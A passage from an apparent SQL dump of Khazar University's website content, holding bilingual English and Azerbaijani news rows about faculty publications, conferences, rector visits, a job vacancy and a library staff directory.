Education of Khazar...','<p>An article “A Turkish type leadership” by Goshgar Maharramov, a lecturer and coordinator of the Department of Education of Khazar University, was published in “Uch jizgi” journal in Turkey. The author offers comparative analyses of leadership characteristics and behaviors of historical leaders of Turkish peoples and other peoples. The article specially stresses that leadership is based on social aspects but not on ancestry and gene.</p>'),(4910,2855,'en','“Azerbaijan Muallimi” newspaper wrote about a Khazar University lecturer','“Azerbaijan Muallimi” published an article, January 19, 2018, within the project “Where do State Program awardees work...','<p>“Azerbaijan Muallimi” published an article, January 19, 2018, within the project “Where do State Program awardees work?”. The article included information about Elmar Mustafayev who graduated from La Sapienza University, Italy, within State Program. Currently, Elmar Mustafayev is a lecturer and coordinator of the Department of Political Sciences and International Relations of Khazar University.</p><p>The series of articles are dedicated to those who studied abroad within “State Program on education of Azerbaijani youth abroad for the years of 2007-2015” and have successful career in science, education, economy, industry, bank, ICT and other sectors.</p><p>A link for full article:</p><p><a href=\"http://muallim.edu.az/content/?category=arxiv&amp;issue=02-2018&amp;content_id=03\">http://muallim.edu.az/content/?category=arxiv&amp;issue=02-2018&amp;content_id=03</a>.  <br></p>'),(4911,2854,'en','“Kaspi” took an interview with a Khazar University graduate','Official website of “Kaspi” newspaper posted an interview, January 19, 2018, with Farida Agazadeh...','<p>Official website of “Kaspi” newspaper posted an interview, January 19, 2018, with Farida Agazadeh, who graduated from Khazar University, the School of Humanities and Social sciences, with qualification in journalism. Now Farida Agazadeh is an editor-in-chief of “Astara” newspaper.</p><p>A link for full interview:</p><p><a href=\"http://kaspi.az/az/85-yasli-qezetin-25-yasli-bas-redaktoru\">http://kaspi.az/az/85-yasli-qezetin-25-yasli-bas-redaktoru</a>.  <br></p>'),(4912,2869,'en','Political Science and International Relations Department Coordinator at Conference in Rome','On January 24, 2018, Elmar Mustafayev, Coordinator of Political Science and International Relations Department, participated...','<p>On January 24, 2018, Elmar Mustafayev, Coordinator of Political Science and International Relations Department, participated in an academic conference entitled “Research on Azerbaijan in Italy: themes and prospects”. The event was organized by Roma Sapienza Foundation and the Communications and Social Researches Department of the same university. Conference participants included Eugenio Gaudio, Rector of Sapienza University, Mammad Ahmadzada, Ambassador of Azerbaijan to Italy, Antonello Biagini, Chairman of Roma Sapienza Foundation, academicians and researchers from various universities and institutions, and PhD candidates. The speeches were related to the legal aspects of the Armenian-Azerbaijani conflict, the history and energy policy of Azerbaijan, its relations with Turkey, Iran, Russia, other countries of the region, the United States and EU, public diplomacy, social welfare in Azerbaijan, Azerbaijani literature, the books about Azerbaijan published in Italy.</p><p>At the conference, Elmar Mustafayev delivered a presentation entitled “Europeanization beyond the EU: the case of Azerbaijan” in which he spoke about the opportunities and contradictions of Europeanization process in Azerbaijan.</p><p>The conference was covered in the mass media.&nbsp;</p><p><a href=\"https://news.az/articles/politics/128566\">https://news.az/articles/politics/128566</a>&nbsp;</p><p><a href=\"https://azertag.az/xeber/1131433\">https://azertag.az/xeber/1131433</a>&nbsp;</p><p><a href=\"https://video.azertag.az/video/60178\">https://video.azertag.az/video/60178</a></p>'),(5164,3001,'az','Karyera Mərkəzinin meneceri Demokratlar Partiyasının senatoru oldu','Fevralın 24-25-də ABŞ-ın Azərbaycandakı səfirliyinin dəstəyi ilə YLP`13 Proqram məzunu Samirə Qasımova...','<p>Fevralın 24-25-də ABŞ-ın Azərbaycandakı səfirliyinin dəstəyi ilə YLP`13 Proqram məzunu Samirə Qasımova və FLEX`15 proqram məzunu Elmir Muxtarovun təşkil etdikləri Amerika Birləşmiş Ştatları Senatının Modeli (MUSS) konfransı keçirildi. “Nüvə təhdidi: Şimali Koreya” mövzusunda simulyasiya konfransında iştirak üçün 50 ştatı təmsil edən 50 iştirakçı seçilmişdi. Xəzər Universiteti Karyera mərkəzinin meneceri Səbinə Allahverənova konfransda Demokratlar Partiyasının senatoru rolunda çıxış etdi.</p><p>İki gün ərzində “senator”lar məruzə sessiyalarına qatılaraq, müzakirələr apardılar. Öz ştatlarından seçilmiş senatoru mümkün qədər dəqiq təsvir etdilər.</p><p>Amerika Birləşmiş Ştatları Senatının Modeli ABŞ Senatının qanunvericilik prosesini simulyasiya etmək üçün bir platformadır. Bu proqram Amerika Birləşmiş Ştatları hökumətindəki qanunvericilik prosesinə dair iştirakçıların anlayışlarını yaxşılaşdırmaq və onların siyasi iştirakını təşviq etmək üçün bir proqramdır.</p>'),(5165,3001,'en','The manager of Career Centre functions as a Senator of the Democratic Party','Model United States Senate conference was organized by Samira Gasimova, YLP`13 Program fellow, and Elmir Mukhtarov...','<p>Model United States Senate conference was organized by Samira Gasimova, YLP`13 Program fellow, and Elmir Mukhtarov, FLEX`15 Program Fellow in Landmark Hotel, Baku, with organisational support of the USA embassy to Azerbaijan. 50 delegates representing 50 states were selected to participate in the simulation conference on the topic “Nuclear Threat: North Korea.” Sabina Allahveranova, manager of Career Centre of Khazar University, functioned as a Senator of the Democratic Party.</p><p>Over two days, the model Senators participated in floor sessions, held discussions, and portrayed the assigned Senator as accurately as possible.</p><p>The model United States Senate (MUSS) is a platform aimed to simulate the legislative process of the United States Senate. This program is an educational tool to improve participants’ understanding of the legislative process in the United States government and to encourage their political engagement.</p>'),(5187,3012,'en','Interview with Hamlet Isakhanli was broadcast on “Ictimai” Radio','On March 1, 2018, an interview with Professor Hamlet Isakhanli, the founder of Khazar...','<p>On March 1, 2018, an interview with Professor Hamlet Isakhanli, the founder of Khazar University and Chair of the Board of Directors and Trustees was broadcast on “Ictimai” Radio. Life and career of Prof. Hamlet Isakhanli were covered in the interview.</p>'),(5188,3012,'az','Hamlet İsaxanlı “İctimai” radioya müsahibə verdi','2018-ci il martın 1-də Xəzər Universitetinin təsisçisi və Direktorlar və Qəyyumlar Şurasının sədri...','<p>2018-ci il martın 1-də Xəzər Universitetinin təsisçisi və Direktorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlının verdiyi geniş müsahibə “İctimai” radionun efirində yayınlanmışdır. Müsahibədə, əsasən, Hamlet İsaxanlının həyatı və yaradıcılığı işıqlandırılmışdır.</p>'),(5190,3013,'az','\"Xəzər\"ə təşəkkür məktubu','\"Xəzər\"ə təşəkkür məktubu...','<img src=\"/files/letters/letter1.jpg\" style=\"width:522px;height:744px;margin-top:7px;vertical-align:baseline\"> <p><br></p><p><img src=\"/files/letters/certificate.JPG\" style=\"border:0px #000000;width:522px;height:367px;vertical-align:baseline\"><br></p>'),(5191,3013,'en','A Letter of Gratitude to “Khazar”','A Letter of Gratitude to “Khazar”...','<img src=\"/files/letters/letter1.jpg\" style=\"width:522px;height:744px;margin-top:7px;vertical-align:baseline\"> <p><br></p><p><img src=\"/files/letters/certificate.JPG\" style=\"border:0px #000000;width:522px;height:367px;vertical-align:baseline\"><br></p>'),(6096,3476,'az','Avropa İttifaqının Azərbaycandakı nümayəndəliyinin Birinci müşaviri mühazirə ilə çıxış etdi','2018-ci il oktyabrın 4-də Avropa İttifaqının Azərbaycandakı nümayəndəliyinin Birinci müşaviri cənab Danis Daniilidis...','<p>2018-ci il oktyabrın 4-də Avropa İttifaqının Azərbaycandakı nümayəndəliyinin Birinci müşaviri cənab Danis Daniilidis Xəzər Universitetinin tələbələri üçün seminar keçirdi. Görüşdə, həmçinin, Bolqarıstanın Azərbaycandakı səfiri cənab Nikolay Yankov fəxri qonaq kimi iştirak edirdi. Siyasi Elm və Beynəlxalq Münasibətlər departamentinin tərəfdaşı olduğu DESCnet layihəsi çərçivəsində təşkil etdiyi mühazirədə cənab müşavir “Avropa İttifaqı xarici siyasətinin aktorları” adlı məruzə ilə çıxış etdi. Görüş ərzində tələbələrə Aİ xarici siyasətinin müxtəlif istiqamətləri, Aİ qurumlarının rolu, təşkilatın xarici siyasət prioritetləri haqqında məlumat verildi. Eyni zamanda, “Brexit”, terrorizm, miqrasiya kimi cari məsələlər müzakirə edildi.</p><p>Mühazirə sual-cavab sessiyası ilə başa çatdı.</p><p>Seminardan sonra cənab Daniilidis Xəzər Universitetinin rektoru Dr. Hassan Niknafs ilə görüşdü. Görüşdə Xəzər Universitetinin tarixi, ixtisaslar, tədqiqat imkanları və universitetin beynəlxalq əlaqələri haqqında məlumat verildi. Eyni zamanda, simulyasiya, seminar və yay məktəbləri kimi tədbirlərin keçirilməsində qarşılıqlı əməkdaşlıq barədə müzakirə aparıldı.</p>  \r\n<p><img src=\"/files/politics_depart/erasmus_logo.jpg\" style=\"border:0px  #000000;vertical-align:baseline;width:200px;height:58px;margin-left:7px\">&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;&nbsp; &nbsp;<img src=\"/files/politics_depart/descnet_logo.jpg\" style=\"border:0px  #000000;vertical-align:baseline;width:150px;height:61px\"><br></p><p><br></p><p><br></p><p><br></p>'),(6097,3476,'en','First Counselor of the EU Delegation to Azerbaijan delivers a lecture at Khazar University','On October 4, 2018, Mr. Denis Daniilidis, First Counselor of the EU Delegation to Azerbaijan delivered a lecture for the students...','<p>On October 4, 2018, Mr. Denis Daniilidis, First Counselor of the EU Delegation to Azerbaijan delivered a lecture for the students of Khazar University. The lecture was also attended by honored guest H.E. Mr. Nikolay Yankov, the Ambassador of Bulgaria to Azerbaijan. A special lecture of the First Counselor, entitled “Actors of the EU Foreign Policy”, was organized, within the Network for Developing European Studies in the Caucasus (DESCnet) project, by the Department of Political Science and International Relations of Khazar University. During the meeting, the students were informed about different strands of EU foreign policy, the role of institutions on policy-making, priorities of the EU foreign policy, and discussed the current issues such as Brexit, terrorism, migration as well as EU elections.</p><p>Mr. Denis Daniilidis concluded his lecture by welcoming questions from the audience.</p><p>After the lecture, Mr. Denis Daniilidis, the First Counselor met with Dr. Hassan Niknafs, Rector of Khazar University. At the meeting, Mr. Daniilidis was informed about the history of Khazar University, its degree programs, research capacity, and international relations. Mutual collaboration opportunities on organizing extracurricular activities, such as simulation, summer school, training courses were also discussed during the meeting.</p>  \r\n<p><img src=\"/files/politics_depart/erasmus_logo.jpg\" style=\"border:0px  #000000;vertical-align:baseline;width:200px;height:58px;margin-left:7px\">&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;&nbsp; &nbsp;<img src=\"/files/politics_depart/descnet_logo.jpg\" style=\"border:0px  #000000;vertical-align:baseline;width:150px;height:61px\"><br></p><p><br></p><p><br></p><p><br></p>'),(5174,2878,'az','Vakansiya','','<p><strong>Deadline</strong>: February 26, 2018</p><p><strong>Vacancy</strong>: Assistant</p><p><strong>Department/Office</strong>: International Affairs Office</p><p><br></p><p>Khazar University is seeking a qualified applicant to fill a position of an assistant at the International Affairs Office.</p><p><br></p><p>Minimum Requirements:</p><ul><li>Bachelor’s degree</li><li>Excellent English language skills</li><li>Good communication skills</li><li>Flexible and quick-learner able to work independently as well as in a team</li></ul><p><br></p><p>Responsibilities include but are not limited to:</p><ul><li>Oversee all migration issues and work with State Migration Service and Ministry of Foreign Affairs of Azerbaijan Republic</li><li>Coordinate guidance, accommodation/housing, pick-up and other services for incoming foreign students/staff/visitors</li><li>Provide assistance with international student recruitment, admission and engagement</li><li>Assist in implementation of other projects and programs</li></ul><br><p><strong>All qualified candidates are encouraged to apply by sending their CV/resumes to&nbsp;<a href=\"mailto:tjafarova@khazar.org?subject=Assistant%20at%20International%20Affairs%20Office\">tjafarova@khazar.org</a>&nbsp;by&nbsp;February 26, 2018, with the following subject line:</strong></p><p><strong>Assistant at International Affairs Office.</strong></p><p><br></p><p>Late applications will not be considered. Only shortlisted candidates will be contacted for interviews.</p><p><strong><br></strong></p><p><strong>International Affairs Office</strong></p><p>The International Affairs Office of Khazar University is responsible for design and implementation of the university’s overall internationalization strategy, including recruitment, admission, and engagement of international students, mobility/exchange programs for students/staff, cooperation with universities/organizations/foreign embassies in Azerbaijan and Embassies of Azerbaijan abroad as well as other tasks/projects contributing to the university’s mission and vision. The International Affairs Office also provides guidance and advising services to international students/scholars/visitors of Khazar University.&nbsp;</p><p>For more information about the International Affairs Office visit:</p><p><a href=\"http://www.khazar.org/en/menus/159/international_affairs_office\">http://www.khazar.org/en/menus/159/international_affairs_office</a></p>'),(4913,2861,'en','Rector of Khazar University visits Ankara University','Dr. Hassan Niknafs, Rector of Khazar University, Ali Naghiyev, Director of SPE (Society of Petroleum Engineers), and Shahriyar Alhkasli...','<p>Dr. Hassan Niknafs, Rector of Khazar University, Ali Naghiyev, Director of SPE (Society of Petroleum Engineers), and Shahriyar Alhkasli, a PhD candidate in Oil Engineering at Khazar University, visited Ankara University on January 18, 2018.</p><p>During the visit, the delegation met Prof. Erkan Ibish, Rector of Ankara University, Prof. Aziz Tekin, Dean of Faculty of Engineering, Prof. Sibel Suzen, Coordinator on International Relations, Prof. Ilhan Karasubashi, Coordinator on International Relations, and other staff members of the university. The main discussions concentrated on researches, student exchange program, dual education program in Computer Sciences and Computer Engineering as well as Geology. Prof. Erkan Ibish welcomed all kinds of collaboration with Khazar University and arranged meetings with various departments. Also, there was a discussion on increasing students exchange within Erasmus+ and Movlana programs.</p>'),(4917,2871,'az','Xəzər Universitetinin rektoru Türkiyənin Ankarada yerləşən Hacettepe Universitetində olub','2018-ci il yanvarın 19-da Xəzər Universitetinin rektoru Dr. Hassan Niknafs Hacettepe Universitetin rektoru...','<p>2018-ci il yanvarın 19-da Xəzər Universitetinin rektoru Dr. Hassan\r\nNiknafs Hacettepe Universitetin&nbsp;rektoru Prof. Halik Özen və prorektor Prof.\r\nBurcin Sener ilə görüşüb.</p>\r\n<p>Görüş zamanı universitetlər arasında müxtəlif sahələrdə qarşılıqlı\r\nəməkdaşlıq imkanları müzakirə edilib. Müzakirələrin əsas mövzusu isə Biologiya\r\nelmləri sahəsində birgə tədqiqatların (doktorantura səviyyəsində) aparılması\r\nolub. Bu istiqamətdə əməkdaşlıq imkanlarını ətraflı surətdə müzakirə etmək məqsədilə\r\nXəzər Universitetinin Biologiya Elmləri üzrə professor və doktorant\r\ntələbələrdən ibarət heyəti fevral ayının əvvəlində Hacettepe Universitetinə\r\nsəfər edəcək.</p>'),(4918,2871,'en','Rector of Khazar University visits Hacettepe University in Ankara, Turkey','On Jan 19, 2018 the Rector of Khazar University, Dr. Hassan Niknafs met with the Rector of Hacettepe University...','<p>On Jan 19, 2018 the Rector of Khazar University, Dr. Hassan\r\nNiknafs met with the Rector of Hacettepe University, Prof. Dr. Haluk Ozen and\r\nthe vice-Rector, Prof. Dr. Burcin Sener.&nbsp;</p><p>Several mutual collaborations in\r\nbetween the two universities were discussed, but the main topic was\r\nconcentrated on the possibility of initiating a joint research work in the\r\nfields of Biological Sciences (PhD level). A delegation from Khazar University\r\nwho are professors or studying PhD in the field of Biological Sciences will be visiting\r\nHacettepe University in early February to discuss the details of such\r\ncollaboration.</p>'),(4919,2868,'az','Mühəndislik və tətbiqi elmlər fakültəsinin əməkdaşının məqaləsi çap olundu','Xəzər Universiteti Mühəndislik və tətbiqi elmlər fakültəsinin Mexanika mühəndisliyi departamentinin koordinatoru...','<p>Xəzər Universiteti Mühəndislik və tətbiqi elmlər fakültəsinin Mexanika mühəndisliyi departamentinin koordinatoru Dr. Mirsadegh Seyedzavvarın “Sonlu element analizinə əsaslanan çubuqla birləşdirilən yüksək göstəricili dizel mühərrikinin dizaynı” adlı tədqiqat məqaləsi “Braziliya Mexanika Elmləri və Mühəndisliyi Cəmiyyəti”nin elmi jurnalında çapdan çıxmışdır.</p><p>Məqaləni bu link vasitəsilə oxumaq olar:</p><p><a href=\"https://link.springer.com/article/10.1007%2Fs40430-018-0988-9\">https://link.springer.com/article/10.1007%2Fs40430-018-0988-9</a>.<br></p>'),(4920,2867,'az','Xəzər Universitetində “Tədqiqat metodologiyası və xüsusi məqsədlər üçün ingilis dili” mövzusunda seminar keçirildi','2018-ci il yanvarın 25-də İngilis dili və ədəbiyyatı departamenti Marağa Azad Universitetinin (İran İslam Respublikası) gənc alimi Dr. Kuhi...','<p>2018-ci il yanvarın 25-də İngilis dili və ədəbiyyatı departamenti Marağa Azad Universitetinin (İran İslam Respublikası) gənc alimi Dr. Kuhi tərəfindən aparılan “Tədqiqat metodologiyası və xüsusi məqsədlər üçün ingilis dili&nbsp;(XMİ)” mövzusuna həsr olunmuş iki seminar keçirdi. Seminarlarda məlumatların toplanması və analizi, həmçinin XMİ tədrisində müasir yanaşmalar ətraflı müzakirə edildi. Dr. Kouhi tədqiqatlarla məşğul olan bəzi müəllimlərə öz tövsiyələrini verdi. Xəzər Universitetinin rektoru Dr. Hassan Niknafs çıxış edərək, tədbirin əhəmiyyətindən danışdı.</p><p>Seminarlarda İngilis dili və ədəbiyyatı fakültəsinin müəllimləri, həmçinin magistratura tələbələri (1-ci və 2-ci kurs, Tərcümə və Dilşünaslıq ixtisasları) iştirak etdilər. Seminara müxtəlif universitetlərdən olan tədqiqatçılar da qatılmışdılar. İki seminarda qeydiyyatdan keçmiş iştirakçılara sertifikatlar təqdim edildi.</p>'),(4921,2872,'az','Xəzər  Universitetində birinci semestrin final imtahanları başa çatdı - FOTOSESSİYA','Xəzər  Universitetində birinci semestrin final imtahanları başa çatdı...',''),(4922,2872,'en','Final Examinations of the First Semester ended at Khazar University – PHOTO SESSION','Final Examinations of the First Semester ended at Khazar University...',''),(4923,2873,'en','An instuctor of the Department of English Language and Literature was presented a PhD degree diploma','Diploma presentation ceremony was held in Higher Attestation Commission under the President of the Republic...','<p>Diploma presentation ceremony was held in Higher Attestation Commission under the President of the Republic of Azerbaijan on December 14, 2017. At the ceremony, Elmira Aliyeva, an instructor of the Department of English Language and Literature&nbsp;of Khazar University, was presented a PhD degree diploma in Philology.</p>'),(4924,2873,'az','İngilis dili və ədəbiyyatı departamentinin müəlliminə fəlsəfə doktoru diplomu verilmişdir','2017-ci il dekabrın 14-də Azərbaycan Respublikasının Prezidenti yanında Ali Attestasiya Komissiyasında...','<p>2017-ci il dekabrın 14-də Azərbaycan Respublikasının Prezidenti yanında Ali Attestasiya Komissiyasında (AAK) diplomların təqdim olunması mərasimi keçirilmişdir. Xəzər Universiteti İngilis dili və ədəbiyyatı departamentinin müəllimi Elmira Əliyevaya filologiya üzrə fəlsəfə doktoru diplomu verilmişdir.</p>'),(5124,2976,'en','Our beautiful Baku through the lens of Ali Musa, Khazar student','Ali Musa, a 2nd year international Bachelor student in Computer Science from Iraq, has chosen...','<p>Ali Musa, a 2<sup>nd&nbsp;</sup>year international Bachelor student in Computer Engineering&nbsp;from Iraq, has chosen Photography as his hobby. Ali is a serious student with high GPA.</p><p>Dean\'s office would like to share some of his work, collected recently in Azerbaijan, with Khazar University staff. We wish Ali all the success in his studies as well as in his hobby of Photography.</p>'),(4942,2883,'en','Professor Hamlet Isakhanli at the Scientific-Practical Seminar','On 6 February 2018, the Founder of Khazar University and the Chairman of its Board of Directors and Trustees, Professor Hamlet Isakhanli...','<p>On 6 February 2018, the Founder of Khazar University and the Chairman of its Board of Directors and Trustees, Professor Hamlet Isakhanli, delivered a speech at the scientific-practical seminar on “Fake Scientific and Academic Ethics: Contemporary Challenges and the Development of New Institutions” held at the Azerbaijan State Economic University.</p><p>At the seminar moderated by the Professor of ASEU Zahid Mammadov, speakers including Pro-rector of Istanbul University, Prof. Sedat Murat, Head of the Department of Criminalistics and Forensic Medicine of BSU, Prof. Kamil Salimov, a former editor (2002-2017) of a leading international Journal of Applied and Computation Mathematics, prof. Yusif Gasimov exchanged their views on the topics related to the fight against trash journals and predatory publishers, countermeasures in prevention of falsification of improvement of bibliometrics and science-metrics data, the role of improvement of data of bibliometrics and science-metrics in the development of modern science, “fake research” market and measures against it, technology of improvement of h-index and the development of imitation science, unity problems of science and education, ethical principles in scientific results’ publications, plagiarism in scientific publications and taken countermeasures, the quality of scientific expertise results, cases of poorly written&nbsp;articles published in strong scientific journals, anti-plagiarism measures in ASEU, anti-plagiarism program activity and scientific ethics in ASEU.</p>'),(6374,3621,'en','Dean of the School of Education participates in a symposium in Germany','On November 8 and 11, 2018, Assoc. Prof. Elza Samadova, Dean of the School...','<p>On November 8 and 11, 2018, Assoc. Prof. Elza Samadova, Dean of the School of Education of Khazar University, delivered a report entitled “Turkish-German relations in the Azerbaijani press at the beginning of the XX century” in the III International Turkish-German Relations Symposium held in Würzburg city, Germany. The report consisted of articles and caricatures published in newspapers “Hayat”, “Irshad”, “Achig soz” (“Open word”) and journals “Fuyuzat” and “Molla Nasraddin”, published in Azerbaijan in the early XX century. The report was highly appreciated by participants from various countries and universities.</p>'),(4940,2882,'en','Professor Hamlet Isakhanli Held Meetings with the President and the Minister of Education of Georgia','Khazar University Founder and the Chairman of its Board of Directors and Trustees has been invited to the series...','<p>Khazar University Founder and the Chairman of its Board of Directors and Trustees, Professor Hamlet Isakhanli&nbsp;has been invited to the series of events dedicated to the Ivane Javakhishvili Tbilisi State University’s 100<sup>th</sup> Anniversary. Government representatives of Georgia, well-known public figures and scholars from abroad will take part in the events to be held on February 7-9.</p>\r\n<p>Within the foreign delegation, today, Professor H.Isakhanli met with Georgian President H.E. Giorgi Margvelashvili. During the talks, the Georgian President expressed his sympathy towards Khazar University and said that he had heard much about the University.</p>\r\n<p>Later, Prof. Isakhanli talked with the Minister of Education of Georgia Dr. Mikheil Chkhenkeli about the state of education in Georgia and Azerbaijan, mutual cooperation ideas, education problems of Azerbaijani-speaking population of Georgia, and the interest and support of Khazar University in this regard.</p>\r\n<p>In addition, Hamlet Isakhanli has initiated meetings with Georgia’s senior executives in education, including the president of its Academy of Sciences and the rectors of its universities, as well as the heads of foreign universities participating in the event.</p>'),(4943,2884,'en','Staff','Staff','<p><strong><a href=\"http://library.khazar.org/files/Aytaj%20Misgarli%20eng.pdf\"><img src=\"/files/library/aytac_m.jpg\" style=\"float:left;width:150px;height:150px;margin-left:7px;margin-right:7px;margin-bottom:7px\">Aytaj Misgarli</a></strong></p><p><strong>Deputy Director of Library Information Center</strong></p><p><strong>E-mail</strong>:&nbsp;<a href=\"mailto:amiskerli@khazar.org\">amiskerli[at]khazar.org</a>  <a href=\"http://mailto:amiskerli@khazar.org\"></a>  </p><p><strong>Phone</strong>: (+994 12) 421 10 93 (263)  </p><p><br></p><p><br></p><p></p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p></p><p><strong><a href=\"http://library.khazar.org/files/CV%20Samira%20-NEW%20-eng.pdf\"><img src=\"/files/library/samira_o.jpg\" style=\"float:left;margin-left:7px;margin-right:7px;margin-bottom:7px;width:150px;height:174px\">Samira Orujova</a></strong></p><p><strong>Head of Cataloging Department<br></strong></p><p><strong>E-mail: </strong><a href=\"mailto:shuseynova@khazar.org\">shuseynova[at]khazar.org</a>  <a href=\"http://mailto:shuseynova@khazar.org\"></a></p><p><br></p><p><br></p><p><br></p><p><br></p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br><p><strong><a href=\"http://library.khazar.org/files/Jafarova%20Aziza%20eng.pdf\"><img src=\"/files/library/aziza_j.png\" style=\"float:left;width:150px;height:192px;margin-left:7px;margin-right:7px;margin-bottom:7px\">Aziza Jafarli</a><br></strong></p><p><strong>Head of Readers\' Services Department<br></strong></p><p><strong>E-mail:&nbsp;</strong><a href=\"http://mailto:jaziza@khazar.org\"></a><a href=\"mailto:jaziza@khazar.org\">jaziza[at]khazar.org</a>  <br></p><p><br></p><p><br></p><p><br></p><p><br></p><p><br></p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br><p><strong><a href=\"http://library.khazar.org/files/Jamila%20Guliyeva%20eng.pdf\"><img src=\"/files/library/jamila_g.jpg\" style=\"float:left;width:150px;height:241px;margin-left:7px;margin-right:7px;margin-bottom:7px\">Jamila Guliyeva</a><br></strong></p><p><strong>Head of Acquisition Department</strong></p><p><strong style=\"font-weight:bold\"><strong>E-mail:&nbsp;</strong></strong><a href=\"mailto:cquliyeva@khazar.org\">cquliyeva[at]khazar.org</a>  <a href=\"http://mailto:cquliyeva@khazar.org\"></a></p><p><br></p><p><br></p><p><br></p><p><br></p><p><br></p><p></p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p></p><p><strong><a href=\"http://library.khazar.org/files/Samira%20Safarova%20eng.pdf\"><img src=\"/files/library/samira_s.jpg\" style=\"float:left;width:150px;height:168px;margin-left:7px;margin-right:7px;margin-bottom:7px\">Samira Safarova</a></strong></p><p><strong>Circulation Desk, MBA Library</strong><br></p><p><strong>E-mail:&nbsp;</strong><a href=\"mailto:samirasafarova85@gmail.com\">samirasafarova85[at]gmail.com</a>  <a href=\"http://mailto:samirasafarova85@gmail.com\"></a>  </p><p><br></p><p><br></p><p><br></p><p><br></p><p></p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p></p><p><strong><a href=\"http://library.khazar.org/files/Gunay%20Muradova%20eng.pdf\"><img src=\"/files/library/gunay_m.jpg\" style=\"float:left;width:150px;height:176px;margin-left:7px;margin-right:7px;margin-bottom:7px\">Gunay Muradova</a></strong></p><p><strong>Circulation Desk, MBA Library</strong>  <br></p><p><strong>E-mail:&nbsp;</strong><a href=\"mailto:gunaymuradova80@gmail.com\">gunaymuradova80[at]gmail.com</a>  </p><p><br></p><p><br></p><p><br></p><p><br></p><p></p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p></p><p><strong><a href=\"http://library.khazar.org/files/gunel%20narimanova%20cv.pdf\"><img src=\"/files/library/gunel_dos.jpg\" style=\"float:left;margin-left:7px;margin-right:7px;margin-bottom:7px;width:150px;height:182px\">Gunel Dostuyeva</a></strong></p><p><strong>Vice of&nbsp;<strong>Cataloging Department</strong></strong>  <br></p><p><strong>E-mail:&nbsp;</strong><a href=\"mailto:gdostuyeva@khazar.org\">gdostuyeva[at]khazar.org</a>  </p><p><br></p><p><br></p><p><br></p><p><br></p><p></p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p></p><p><strong><a href=\"http://library.khazar.org/files/Aygun%20Gurbanova%20eng.pdf\"><img src=\"/files/library/aygun_g.jpg\" style=\"float:left;width:150px;height:263px;margin-left:7px;margin-right:7px;margin-bottom:7px\">Aygun Gurbanova</a></strong></p><p><strong>Librarian</strong><br></p><p><strong>E-mail:&nbsp;</strong><a href=\"mailto:agurbanova@khazar.org\">agurbanova[at]khazar.org</a>  </p><p><br></p><p><br></p><p><br></p><p><br></p><p><br></p><p><br></p><p></p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p></p><p><strong><a href=\"http://library.khazar.org/files/Aynur%20Tagiyeva%20eng.pdf\"><img src=\"/files/library/aynur_t.jpg\" style=\"float:left;margin-left:7px;margin-right:7px;margin-bottom:7px;width:150px;height:245px\">Aynur Tagiyeva</a></strong></p><p><strong>Librarian</strong>  <br></p><p><strong>E-mail:&nbsp;</strong><a href=\"mailto:a.tagiyeva@khazar.org\">a.tagiyeva[at]khazar.org</a>  </p><p><br></p><p><br></p><p><br></p><p><br></p><p><br></p><p><br></p><p></p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><img src=\"/files/library/esmira_g.jpg\" style=\"float:left;width:150px;height:214px;margin-left:7px;margin-right:7px;margin-bottom:7px\"><p></p><p><strong><a href=\"http://library.khazar.org/files/Esmira%20Gurbanova%20eng.pdf\">Esmira Gurbanova</a></strong></p><p><strong>Librarian</strong><br></p><p><strong>E-mail:&nbsp;</strong><a href=\"mailto:equrbanova@khazar.org\">equrbanova[at]khazar.org</a>  </p><p><br></p><p><br></p><p><br></p><p><br></p><p></p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p></p><p><strong><img src=\"/files/library/esmira_m.JPG\" style=\"float:left;width:150px;height:220px;margin-left:7px;margin-right:7px;margin-bottom:7px\"><a href=\"http://library.khazar.org/files/Esmira%20Mehdiyeva%20eng.pdf\">Esmira Mehdiyeva</a></strong></p><p><strong>Librarian</strong><br></p><p><strong>E-mail:&nbsp;</strong><a href=\"mailto:emehtiyeva@khazar.org\">emehtiyeva[at]khazar.org</a>  </p><p><br></p><p><br></p><p><br></p><p><br></p><p><br></p><p></p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p></p><p><strong><img src=\"/files/library/parvin_m.jpg\" style=\"float:left;width:150px;height:208px;margin-left:7px;margin-right:7px;margin-bottom:7px\"><a href=\"http://library.khazar.org/files/Parvin%20Mammedova%20eng%20cv.pdf\">Parvin Mammadova</a></strong></p><p><strong>Librarian</strong>  <br></p><p><strong>E-mail:&nbsp;</strong><a href=\"mailto:pmammadova@khazar.org\">pmammadova[at]khazar.org</a>  </p><p><br></p><p><br></p><p><br></p><p><br></p><p><br></p><p></p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p></p><p><strong><a href=\"http://library.khazar.org/files/Aynura%20Babayeva%20eng%20cv.pdf\"><img src=\"/files/library/aynura_b.jpg\" style=\"float:left;width:150px;height:187px;margin-left:7px;margin-right:7px;margin-bottom:7px\">Aynura Babayeva</a></strong></p><p><strong>Librarian</strong>  <br></p><p><strong>E-mail:&nbsp;</strong><a href=\"mailto:ababayeva@khazar.org\">ababayeva[at]khazar.org</a>  </p><p><br></p><p><br></p><p><br></p><p><br></p><p></p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p></p><p><strong>Gunel Aliyeva</strong></p><p><strong>Librarian</strong>  <br></p><p><strong>E-mail:&nbsp;</strong><a href=\"mailto:galiyeva@khazar.org\">galiyeva[at]khazar.org</a>  </p>'),(4944,2884,'az','İşçi heyəti','İşçi heyəti','<p><strong><a href=\"http://library.khazar.org/files/Aytaj%20Misgarli%20eng.pdf\"><img src=\"/files/library/aytac_m.jpg\" style=\"float:left;width:150px;height:150px;margin-left:7px;margin-right:7px;margin-bottom:7px\">Aytac Misgərli</a></strong></p><p><strong>Kitabxana İnformasiya Mərkəzi direktor müavini  </strong></p><p><strong>E-mail</strong>:&nbsp;<a href=\"mailto:amiskerli@khazar.org\">amiskerli[at]khazar.org</a>  </p><p><strong>Phone</strong>: 